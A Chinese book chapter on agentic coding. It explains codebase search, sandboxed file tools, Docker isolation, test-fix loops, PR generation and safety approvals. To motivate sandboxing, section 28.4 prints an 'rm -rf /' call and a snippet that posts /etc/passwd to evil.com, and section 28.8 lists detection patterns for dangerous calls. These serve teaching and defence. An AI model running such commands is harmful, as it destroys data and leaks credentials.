第 28 章:Agentic Coding

Agentic Coding 不是代码补全的升级版,而是让 Agent 像开发者一样理解代码库、规划实现、编写代码、运行测试、修复 bug。它需要理解整个代码库的结构,而不只是当前文件——这是真正的"自主编程",也是对沙箱安全的极致考验。


⏱️ 快速通道(5 分钟掌握核心)

  1. 从"补全当前行"到"理解整个代码库",核心差异是全局上下文
  2. 代码理解三件套:AST 结构解析、依赖图构建、语义搜索
  3. 所有代码执行必须在沙箱中,WASI 提供文件/网络/进程隔离
  4. Edit-Test-Fix 循环:改代码 → 跑测试 → 看失败 → 再修复
  5. 安全边界是底线:写操作必须限制目录,执行必须设超时

10 分钟路径:28.1-28.2 → 28.4 → Shannon Lab


凌晨 2 点,你被告警吵醒:生产环境 API 响应时间暴增。

你打开电脑,发现是最近一次上线引入的性能问题。问题定位到一个函数,但修复需要理解它和其他三个模块的交互。你半睡半醒地改了代码,跑了测试,发现改动破坏了另一个功能...

现在想象一下:你只需要告诉 Agent "这个 API 太慢了,帮我优化一下",它就能:

  1. 分析整个调用链,找到性能瓶颈
  2. 理解相关模块的依赖关系
  3. 生成修复代码
  4. 在沙箱中运行测试确认修复有效
  5. 提交 PR,附上详细的改动说明

这就是 Agentic Coding 的愿景。不是帮你补全一行代码,而是帮你完成一个完整的开发任务。

但愿景归愿景,现实中这件事难度极高。代码不是孤立的文本,它有结构、有依赖、有副作用。Agent 写的代码要能跑、跑得对、还不能把系统搞挂。

这一章,我们来拆解 Agentic Coding 的核心挑战和实现路径。


28.1 什么是 Agentic Coding

从代码补全到自主编程

先澄清一个误区:Agentic Coding 不是 Copilot 的升级版。

维度代码补全 (Copilot)Agentic Coding
作用范围当前光标位置整个代码库
上下文理解当前文件跨文件依赖关系
决策权人类决定写什么Agent 决定写什么
执行能力可以运行代码、测试
迭代能力可以根据反馈修改

代码补全是"你想到哪,它帮你打到哪"。Agentic Coding 是"你说要什么,它帮你实现"。

一个完整的 Agentic Coding 流程:

用户: "给用户服务添加邮件验证功能"
         |
         v
+-------------------+
| 1. 理解需求       |  - 解析任务目标
| 2. 分析代码库     |  - 找到相关文件和函数
| 3. 规划实现       |  - 设计修改方案
| 4. 编写代码       |  - 生成新代码/修改现有代码
| 5. 运行测试       |  - 在沙箱中验证
| 6. 迭代修复       |  - 根据测试结果调整
| 7. 提交变更       |  - 生成 PR/commit
+-------------------+

Agentic Coding 自主编程完整流程

核心能力分解

Agentic Coding 需要以下能力的协同:

能力描述对应工具
代码理解解析代码结构、依赖关系AST 分析、语义搜索
代码导航跨文件跳转、查找定义LSP、grep/ripgrep
代码生成写新代码、修改现有代码LLM + 编辑工具
代码执行在隔离环境运行代码Docker/WASI 沙箱
测试验证运行测试、分析结果测试框架集成
版本控制管理代码变更Git 操作

28.2 代码库理解:不只是读文件

Agentic Coding 的第一步是理解代码库。这听起来简单,但实际上是最难的部分之一。

为什么难?

一个中等规模的代码库可能有:

  • 10,000+ 文件
  • 500,000+ 行代码
  • 复杂的模块依赖关系
  • 隐式的调用链

你不能把整个代码库塞进 LLM 的上下文窗口(即使有 1M tokens,也不够)。必须有策略地选择相关代码。

代码索引策略

在 Shannon 中,文件操作工具有明确的读取限制和范围控制:

# 摘自 python/llm-service/llm_service/tools/builtin/file_ops.py

class FileReadTool(Tool):
    """Safe file reading tool with sandboxing support"""

    def _get_parameters(self) -> List[ToolParameter]:
        return [
            ToolParameter(
                name="path",
                type=ToolParameterType.STRING,
                description="Path to the file to read",
                required=True,
            ),
            ToolParameter(
                name="max_size_mb",
                type=ToolParameterType.INTEGER,
                description="Maximum file size in MB to read",
                required=False,
                default=10,
                min_value=1,
                max_value=100,
            ),
        ]

    async def _execute_impl(self, **kwargs) -> ToolResult:
        # ... 省略验证逻辑 ...

        # Allowlist of readable directories
        allowed_dirs = [Path("/tmp").resolve(), Path.cwd().resolve()]
        workspace = os.getenv("SHANNON_WORKSPACE")
        if workspace:
            allowed_dirs.append(Path(workspace).resolve())

        # Ensure path is within an allowed directory
        if not any(_is_allowed(path_absolute, base) for base in allowed_dirs):
            return ToolResult(
                success=False,
                output=None,
                error=f"Reading {path_absolute} is not allowed. Use workspace or /tmp directory.",
            )

核心设计点:

  • max_size_mb 限制:防止一次读取超大文件
  • allowed_dirs 白名单:只允许读取工作区和临时目录
  • 路径规范化:防止符号链接逃逸

语义搜索 vs 关键词搜索

找到相关代码有两种方式:

方式适用场景局限
关键词搜索 (grep)找函数名、变量名、错误信息找不到"意图相关"的代码
语义搜索 (embedding)找"处理用户认证的代码"需要预先建立向量索引

最佳实践是两者结合:

# 概念示例:混合搜索策略

class CodeSearcher:
    """代码库搜索器"""

    def search(self, query: str) -> List[CodeChunk]:
        # 1. 提取可能的标识符
        identifiers = self.extract_identifiers(query)

        # 2. 关键词搜索(快,精确)
        keyword_results = []
        for ident in identifiers:
            keyword_results.extend(self.grep_search(ident))

        # 3. 语义搜索(慢,模糊)
        semantic_results = self.vector_search(query)

        # 4. 合并去重,按相关性排序
        return self.merge_and_rank(keyword_results, semantic_results)

依赖图构建

理解代码不仅仅是找到文件,还需要理解模块之间的依赖关系:

# 概念示例:依赖图分析

class DependencyAnalyzer:
    """分析模块间的依赖关系"""

    def build_dependency_graph(self, entry_file: str) -> DependencyGraph:
        """从入口文件构建依赖图"""
        graph = DependencyGraph()
        visited = set()

        def visit(file_path: str):
            if file_path in visited:
                return
            visited.add(file_path)

            # 解析文件,提取 import/require 语句
            imports = self.parse_imports(file_path)

            for imp in imports:
                resolved = self.resolve_import(file_path, imp)
                if resolved:
                    graph.add_edge(file_path, resolved)
                    visit(resolved)

        visit(entry_file)
        return graph

    def find_affected_files(self, modified_file: str) -> List[str]:
        """找到修改某个文件可能影响的所有文件"""
        return self.graph.get_dependents(modified_file)

28.3 代码生成与编辑

两种编辑模式

Agent 修改代码有两种方式:

模式描述适用场景风险
全文重写生成完整文件替换原文件新文件、小文件可能丢失非相关改动
精确编辑只修改特定行/区块大文件、局部修改需要精确定位

Shannon 的文件写入工具采用安全的覆盖模式:

# 摘自 python/llm-service/llm_service/tools/builtin/file_ops.py

class FileWriteTool(Tool):
    """Safe file writing tool with sandboxing support"""

    def _get_metadata(self) -> ToolMetadata:
        return ToolMetadata(
            name="file_write",
            description="Write content to a file",
            requires_auth=True,  # Writing requires auth
            sandboxed=True,
            dangerous=True,  # File writing is potentially dangerous
            cost_per_use=0.001,
        )

    def _get_parameters(self) -> List[ToolParameter]:
        return [
            ToolParameter(
                name="mode",
                type=ToolParameterType.STRING,
                description="Write mode: 'overwrite' replaces existing file, 'append' adds to end",
                required=False,
                default="overwrite",
                enum=["overwrite", "append"],
            ),
            ToolParameter(
                name="create_dirs",
                type=ToolParameterType.BOOLEAN,
                description="Create parent directories if they don't exist",
                required=False,
                default=False,
            ),
        ]

注意关键标记:

  • requires_auth=True:写文件需要授权
  • dangerous=True:写文件是潜在危险操作
  • sandboxed=True:限制在沙箱目录内

精确编辑的挑战

当 Agent 需要修改大文件中的某几行时,容易出现以下问题:

  1. 行号漂移:如果之前有其他修改,行号会变
  2. 上下文不匹配:Agent 记忆中的代码和实际文件不同步
  3. 缩进错误:生成的代码缩进和原文件不一致

解决方案:使用锚点而不是行号:

# 概念示例:基于锚点的精确编辑

class CodeEditor:
    """基于锚点的代码编辑器"""

    def apply_edit(
        self,
        file_path: str,
        anchor_before: str,  # 修改位置前的唯一文本
        anchor_after: str,   # 修改位置后的唯一文本
        new_content: str,    # 新的内容
    ) -> EditResult:
        """
        在锚点之间插入/替换内容

        例如:
        anchor_before = "def calculate_total("
        anchor_after = "    return total"
        new_content = "    # Add validation\n    if not items:\n        return 0\n"
        """
        content = self.read_file(file_path)

        # 找到锚点位置
        start = content.find(anchor_before)
        end = content.find(anchor_after)

        if start == -1 or end == -1:
            return EditResult(success=False, error="Anchor not found")

        # 应用编辑
        new_content = (
            content[:start + len(anchor_before)]
            + new_content
            + content[end:]
        )

        return self.write_file(file_path, new_content)

28.4 沙箱执行:最关键的安全层

Agent 生成的代码必须在隔离环境中执行。这不是可选的——这是必须的。

为什么必须有沙箱?

想象 Agent 生成了这样的代码:

import os
os.system("rm -rf /")  # 删除整个文件系统

或者更隐蔽的:

import requests
data = open("/etc/passwd").read()
requests.post("https://evil.com/collect", data=data)

如果没有沙箱,这些代码会在你的服务器上真实执行。

沙箱选择

技术隔离级别启动速度复杂度适用场景
Docker进程级秒级通用场景
WASI字节码级毫秒级受信代码
gVisor系统调用级秒级高安全需求
Firecracker虚拟机级百毫秒级生产环境

Shannon 选择 WASI 作为主要沙箱机制,在架构文档中有说明。WASI 的优势是:

  • 超快启动(毫秒级)
  • 细粒度的能力控制(文件系统、网络、时间等)
  • 资源占用小

Docker 沙箱实现

对于通用场景,Docker 是最容易实现的选择:

# 概念示例:Docker 沙箱执行

import docker
import tempfile
import os

class DockerSandbox:
    """Docker 沙箱执行器"""

    def __init__(self):
        self.client = docker.from_env()

    async def execute(
        self,
        code: str,
        language: str,
        timeout_seconds: int = 30,
        memory_limit: str = "256m",
        network_disabled: bool = True,
    ) -> ExecutionResult:
        """在 Docker 沙箱中执行代码"""

        # 1. 创建临时工作目录
        with tempfile.TemporaryDirectory() as work_dir:
            # 2. 写入代码文件
            code_file = os.path.join(work_dir, f"main.{self._get_extension(language)}")
            with open(code_file, "w") as f:
                f.write(code)

            # 3. 选择镜像和命令
            image, cmd = self._get_runtime(language)

            # 4. 运行容器
            try:
                container = self.client.containers.run(
                    image=image,
                    command=cmd,
                    volumes={work_dir: {"bind": "/workspace", "mode": "rw"}},
                    working_dir="/workspace",
                    mem_limit=memory_limit,
                    network_disabled=network_disabled,  # 禁用网络
                    read_only=True,  # 只读文件系统
                    detach=True,
                    user="nobody",  #  root 用户
                )

                # 5. 等待完成,获取输出
                result = container.wait(timeout=timeout_seconds)
                logs = container.logs().decode("utf-8")

                return ExecutionResult(
                    success=result["StatusCode"] == 0,
                    output=logs,
                    exit_code=result["StatusCode"],
                )

            except docker.errors.ContainerError as e:
                return ExecutionResult(
                    success=False,
                    output=str(e),
                    exit_code=-1,
                )
            finally:
                try:
                    container.remove(force=True)
                except:
                    pass

关键安全配置:

  • network_disabled=True:禁止网络访问
  • read_only=True:只读文件系统
  • mem_limit:内存限制
  • user="nobody":非特权用户

28.5 测试驱动的迭代循环

Agentic Coding 不是一次生成就结束。Agent 需要运行测试、分析错误、迭代修复。

测试-修复循环

+------------------+
|  生成代码        |
+--------+---------+
         |
         v
+------------------+
|  运行测试        |
+--------+---------+
         |
    测试结果?
   /          \
  通过        失败
   |            |
   v            v
+--------+  +------------------+
| 完成   |  | 分析错误         |
+--------+  +--------+---------+
                     |
                     v
            +------------------+
            | 生成修复代码     |
            +--------+---------+
                     |
                     +----> 回到"运行测试"

测试驱动的迭代循环

错误分析与修复

Agent 需要能够理解测试失败的原因:

# 概念示例:测试错误分析

class TestErrorAnalyzer:
    """分析测试错误并生成修复建议"""

    def analyze(self, test_output: str, code_context: str) -> ErrorAnalysis:
        """分析测试输出,生成修复建议"""

        # 1. 提取错误类型和位置
        error_info = self.parse_error(test_output)

        # 2. 准备 LLM 提示
        prompt = f"""
分析以下测试失败并提供修复方案。

## 测试输出
{test_output}

## 相关代码
{code_context}

## 错误信息
类型: {error_info.type}
位置: {error_info.location}
消息: {error_info.message}

请分析:
1. 根本原因是什么?
2. 需要修改哪些文件的哪些部分?
3. 具体的修复代码是什么?

输出格式 (JSON):
{{
    "root_cause": "错误根本原因分析",
    "affected_files": ["file1.py", "file2.py"],
    "fixes": [
        {{
            "file": "file1.py",
            "anchor_before": "def problematic_function(",
            "anchor_after": "return result",
            "new_code": "修复后的代码"
        }}
    ],
    "confidence": 0.85
}}
"""
        # 3. 调用 LLM
        response = await self.llm.generate(prompt)
        return self.parse_analysis(response)

防止死循环

Agent 可能陷入"修复 A 导致 B 失败,修复 B 又导致 A 失败"的循环。

# 概念示例:修复循环检测

class FixLoopDetector:
    """检测修复循环"""

    def __init__(self, max_iterations: int = 5):
        self.max_iterations = max_iterations
        self.fix_history: List[str] = []

    def should_continue(self, current_fix: str) -> bool:
        """判断是否应该继续修复"""

        # 1. 超过最大迭代次数
        if len(self.fix_history) >= self.max_iterations:
            return False

        # 2. 检测相似的修复(可能是循环)
        fix_hash = self.hash_fix(current_fix)
        if fix_hash in [self.hash_fix(f) for f in self.fix_history[-3:]]:
            # 最近3次修复中有相似的,可能进入循环
            return False

        self.fix_history.append(current_fix)
        return True

28.6 版本控制集成

Agentic Coding 的产出通常是 Git commit 或 Pull Request。

自动生成 Commit Message

Agent 应该能够根据代码变更生成有意义的 commit message:

# 概念示例:生成 commit message

async def generate_commit_message(diff: str, task_description: str) -> str:
    """根据代码变更生成 commit message"""

    prompt = f"""
根据以下代码变更生成 Git commit message。

## 任务描述
{task_description}

## 代码变更 (git diff)
{diff[:4000]}  # 限制长度

## 要求
1. 使用 Conventional Commits 格式 (feat/fix/refactor/...)
2. 第一行不超过 72 字符
3. 描述"为什么"而不是"做了什么"
4. 如果有 breaking changes,在 footer 中说明

输出 commit message:
"""
    return await llm.generate(prompt)

创建 Pull Request

完整的代码变更应该通过 PR 提交,方便人工审查:

# 概念示例:创建 PR

class PRCreator:
    """创建 Pull Request"""

    async def create_pr(
        self,
        repo: str,
        branch: str,
        title: str,
        changes: List[FileChange],
        tests_passed: bool,
    ) -> PRResult:
        """创建 PR 并附上详细说明"""

        # 1. 创建分支并提交变更
        await self.git.create_branch(branch)
        for change in changes:
            await self.git.apply_change(change)
        await self.git.commit(await self.generate_commit_message())
        await self.git.push(branch)

        # 2. 生成 PR 描述
        description = await self.generate_pr_description(
            changes=changes,
            tests_passed=tests_passed,
        )

        # 3. 创建 PR
        pr = await self.github.create_pull_request(
            title=title,
            body=description,
            head=branch,
            base="main",
        )

        return PRResult(pr_url=pr.url, pr_number=pr.number)

28.7 多模型协作

复杂的编码任务可能需要不同模型的协作。

模型分工

Shannon 的模型配置展示了不同模型的定位:

# 摘自 config/models.yaml
model_capabilities:
  coding_specialists:
    - codestral-22b-v0.1      # 专门优化的编码模型
    - deepseek-v3.2           # 代码能力强
    - claude-sonnet-4-5-20250929  # 通用+代码
    - gpt-5-pro-2025-08-07    # 重推理
    - gpt-5.1                 # 最强通用

不同任务可以用不同模型:

任务类型推荐模型层级原因
代码搜索/导航Small不需要复杂推理
简单代码生成Medium (coding specialist)专门优化
架构设计/重构Large (reasoning)需要深度思考
测试用例生成Medium模式化工作
Bug 分析Large需要理解复杂交互

路由策略

# 概念示例:编码任务模型路由

class CodingModelRouter:
    """根据任务类型选择模型"""

    def select_model(self, task_type: str, code_complexity: str) -> str:
        routing_rules = {
            # (任务类型, 复杂度) -> 模型层级
            ("search", "any"): "small",
            ("generate", "simple"): "medium",
            ("generate", "complex"): "large",
            ("refactor", "any"): "large",
            ("test_gen", "any"): "medium",
            ("bug_fix", "simple"): "medium",
            ("bug_fix", "complex"): "large",
        }

        tier = routing_rules.get(
            (task_type, code_complexity),
            routing_rules.get((task_type, "any"), "medium")
        )

        return self.get_model_for_tier(tier)

28.8 安全考量

Agentic Coding 涉及代码执行,安全风险极高。

风险矩阵

风险描述严重程度缓解措施
代码注入Agent 生成恶意代码沙箱执行
数据泄露代码读取敏感数据并外传网络隔离
资源耗尽无限循环消耗资源超时和资源限制
供应链攻击安装恶意依赖依赖白名单
提权攻击利用漏洞获得更高权限最小权限原则

敏感操作需要审批

# 概念示例:敏感操作检测

SENSITIVE_PATTERNS = [
    r"os\.system",
    r"subprocess\.",
    r"eval\(",
    r"exec\(",
    r"__import__",
    r"open\([^)]*['\"](\/etc|\/root|\/home)",
    r"requests\.(get|post|put|delete)",
    r"socket\.",
    r"rm\s+-rf",
    r"DROP\s+TABLE",
]

def check_code_safety(code: str) -> List[SecurityWarning]:
    """检查代码中的潜在危险操作"""
    warnings = []

    for pattern in SENSITIVE_PATTERNS:
        matches = re.findall(pattern, code, re.IGNORECASE)
        if matches:
            warnings.append(SecurityWarning(
                pattern=pattern,
                matches=matches,
                risk_level="high",
            ))

    return warnings

人工审批点

某些操作必须经过人工审批:

# 概念示例:需要人工审批的操作

REQUIRES_APPROVAL = [
    "modify_production_config",  # 修改生产配置
    "delete_files",              # 删除文件
    "install_dependencies",      # 安装新依赖
    "modify_security_rules",     # 修改安全规则
    "access_secrets",            # 访问密钥
]

async def execute_with_approval(operation: str, details: dict) -> bool:
    """执行需要审批的操作"""

    if operation in REQUIRES_APPROVAL:
        approval = await request_human_approval(
            operation=operation,
            details=details,
            risk_assessment=assess_risk(operation, details),
        )

        if not approval.approved:
            return False

    return await execute_operation(operation, details)

28.9 常见的坑

坑 1:上下文窗口溢出

Agent 尝试把整个代码库塞进提示词。

# 错误:读取所有文件
all_code = ""
for file in repo.get_all_files():
    all_code += read_file(file)  # 可能超过上下文限制

# 正确:按需检索相关代码
relevant_files = search_relevant_code(task_description)
context = summarize_large_files(relevant_files[:10])

坑 2:测试污染

Agent 修改了测试数据或测试本身,导致测试"通过"但实际代码有问题。

# 解决方案:隔离测试环境

class TestIsolation:
    def run_tests(self, code_changes: List[Change]) -> TestResult:
        # 1. 创建隔离的测试环境
        with TemporaryTestEnvironment() as env:
            # 2. 应用代码变更(不包括测试文件)
            for change in code_changes:
                if not self.is_test_file(change.file):
                    env.apply_change(change)

            # 3. 使用原始测试文件
            env.copy_tests_from_main()

            # 4. 运行测试
            return env.run_tests()

坑 3:依赖地狱

Agent 随意添加依赖,导致依赖冲突或安全问题。

# 解决方案:依赖白名单

APPROVED_DEPENDENCIES = {
    "python": ["requests", "numpy", "pandas", ...],
    "javascript": ["lodash", "axios", ...],
}

def validate_dependency(language: str, package: str) -> bool:
    if package not in APPROVED_DEPENDENCIES.get(language, []):
        raise DependencyNotApproved(
            f"Package '{package}' not in approved list. "
            f"Request approval before adding."
        )
    return True

坑 4:Git 状态混乱

Agent 在 dirty 的 Git 状态下操作,导致变更混乱。

# 解决方案:操作前确保干净状态

async def ensure_clean_state():
    status = await git.status()
    if status.has_changes:
        # 暂存当前更改
        await git.stash()
        return GitStateGuard(stashed=True)
    return GitStateGuard(stashed=False)

# 使用
async with ensure_clean_state():
    await agent.apply_changes()

28.10 回顾

  1. Agentic Coding 定义:不是代码补全,而是端到端的自主编程能力
  2. 代码库理解:混合使用关键词搜索和语义搜索,按需检索相关代码
  3. 沙箱执行:必须在隔离环境运行 Agent 生成的代码,Docker 或 WASI
  4. 测试驱动迭代:运行测试、分析错误、修复代码的循环
  5. 多层安全:代码审查、敏感操作审批、资源限制

Shannon Lab(10 分钟上手)

本节帮你在 10 分钟内把本章概念对应到 Shannon 源码。

必读(1 个文件)

  • python/llm-service/llm_service/tools/builtin/file_ops.py:文件读写工具的沙箱设计

选读深挖(2 个,按兴趣挑)

  • config/models.yaml 中的 coding_specialists:了解专门优化编码能力的模型
  • docs/multi-agent-workflow-architecture.md:理解如何把 Coding Agent 集成到多 Agent 系统

练习

练习 1:设计依赖检查器

设计一个系统,在 Agent 尝试安装新依赖时:

  1. 检查依赖是否在白名单中
  2. 检查依赖的安全评级(可以用 snyk 或 npm audit)
  3. 如果不在白名单,请求人工审批

练习 2:实现代码搜索

实现一个混合搜索器,支持:

  1. 关键词搜索(grep)
  2. 函数/类名搜索(AST)
  3. 语义搜索(embedding)

对于查询 "找到处理用户登录的代码",设计搜索策略。

练习 3(进阶):测试隔离

设计一个测试隔离系统:

  1. Agent 只能修改源代码,不能修改测试代码
  2. 测试运行在隔离环境,有独立的数据库/文件系统
  3. 防止 Agent 通过修改测试数据来"通过"测试

进一步阅读


下一章预告

Agentic Coding 通常是用户发起的交互式任务。但有些编程任务需要定时执行、后台运行。

下一章讲 Background Agents——让 Agent 在后台持续运行,处理定时任务、监控告警、自动修复。

用户不在线,Agent 也能工作。但这带来新的挑战:没有人工实时监督,如何确保 Agent 行为可控?运行 8 小时后出了问题,如何追溯和恢复?

而且,后台任务需要持久化状态——如果服务重启,任务不能丢失。这就需要工作流引擎。

下一章,我们来看 Shannon 是如何用 Temporal 实现可靠的后台 Agent 的。

准备好了?往下走。

引用本文 / Cite
Zhang, W. (2026). 第 28 章:Agentic Coding. In AI Agent 架构:从单体到企业级多智能体. https://waylandz.com/ai-agent-book/第28章-Agentic-Coding
@incollection{zhang2026aiagent_第28章_Agentic_Coding,
  author = {Zhang, Wayland},
  title = {第 28 章:Agentic Coding},
  booktitle = {AI Agent 架构:从单体到企业级多智能体},
  year = {2026},
  url = {https://waylandz.com/ai-agent-book/第28章-Agentic-Coding}
}